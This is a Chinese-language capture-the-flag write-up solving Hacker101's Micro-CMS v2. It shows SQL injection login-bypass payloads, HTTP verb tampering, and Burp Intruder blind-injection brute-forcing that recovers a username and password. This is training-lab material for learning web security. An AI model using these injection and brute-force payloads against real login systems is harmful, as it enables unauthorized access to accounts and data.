Micro-CMS v2的題目
FLAG0 [Injection] SQL injection


Username輸入admin試看看

得到一個未知使用者。
這邊我忽然想到我之前考情報セキュリティマネジメント的時候
有看過這其實是bug,Unknown user代表沒有這個使用者
,那有心人士就會藉著這個漏洞去一一嘗試,直到出現其他錯誤,例如密碼錯誤,
那就可以縮小範圍得知有這格使用者,之後可再用辞書攻撃【Dictionary Attack】或パスワードリスト攻撃之類去破解

輸入單引號’

可以得到以下畫面

cur.execute('SELECT password FROM admins WHERE username=\'%s\'' % request.form['username'].replace('%', '%%')
可以知道這邊是透過 username select 後再用比對密碼
SELECT
password
FROM
admins WHERE
username='<Username>'
弱勢
如果 '<Username>'
這邊假裝我的使用者名是 ''
or
'1'
= '1'
SELECT
password
FROM
admins WHERE
username=''
or
'1'
= '1'
會誤判為 ''
或是'1'
= '1'
都條件成立,所以我試了 '
or
'1'
= '1

得到結果
Invalid password,代表使用者存在但密碼錯誤

那之後我們可以在修改成
SELECT
password
FROM
admins WHERE
username='a'
UNION
SELECT
'1'
Username:a'
UNION
SELECT
'1
Password:1
用這樣去試看看

這樣就可以成功登入

多了 一個Private Page點進去看看

找到一面旗子拉
FLAG0找到

FLAG1 HTTP Verb Tampering
參考資料 小朱® 的技術隨手寫
去建立新頁面看看


隨便建立一個頁面

再點回去編輯那邊看看

隨便加個東西保存,似乎沒有什麼問題

但若是我什麼都沒有變更卻按保存

會跑出下面的NOT FOUNF頁面

這時候安裝一個叫做postman的App來查看
選擇POST和輸入NOTFOUND的網址

FLAG1找到


FLAG2 暴力破解
登出再嘗試登入看看

再順利登入後會進入一個Logged in畫面
但只持續五秒左右畫面就會跳轉到上面那個頁面

url http://35.227.24.107/0a5dfb4908/login
為了不讓 js 執行去Burp suite(或是 postman)上看看html的原始碼
這次用


按右鍵傳到Repeater 然後把get改成post 後send



若出現這個錯誤的話再去修改PROXY的設定

再輸入網址進去看看,這邊要輸入Username和password 我是輸入以下
Username:a'
UNION
SELECT
'1
Password:1


會出現以下提示
<!-- You got logged in, congrats! Do you have the real username and password? If not, might want to do that! -->
使用burpsuite的Intruder(入侵者)這個模塊進行暴力破解
有關暴力破解這篇講的不錯 →每日頭條

username=’ or LENGTH(username)=§1§&password=pvd


Target 的HOST名記得換一下,從新登出HOST也會換,所以要注意一下

左上的Start attack


加上一個#
username=’ or LENGTH(username)=§1§#&password=pwd
可發現7 是544 其餘都是540

這邊可以看到除了7的結果外0-10都是未知的使用者,這邊可得知使用者帳號由7個英文數字組成的


接下來測試密碼的部分
username=’ or LENGTH(password)=§1§#&password=
這邊得知 密碼是由7個英文數字組成的


uusername=’ or username Like ‘§§§§§§§§§§§§§_§’#&password=pwd


這邊可得知帳號第一個是字母 t
帳號第二個是字母 o

把得到的數字輸入到第一位和第二位
username=’ or username Like ‘to§§§§§§§§§_§’#&password=pwd


可得知帳號是towanda
慢慢等的話,跑個30分應該一次7個都會出來,但應為排列組合的關係,如果知道2個數或3個數再去查號會比較快
這漫慢等的結果

接下來找password
username=’ or password Like ‘§§§§§§§§§_§’#&password=pwd

千萬不要寫錯行,我16行寫到17行去,結果一直失敗
得到密碼reina

輸入帳密,就會得到旗子啦 FLAG2找到

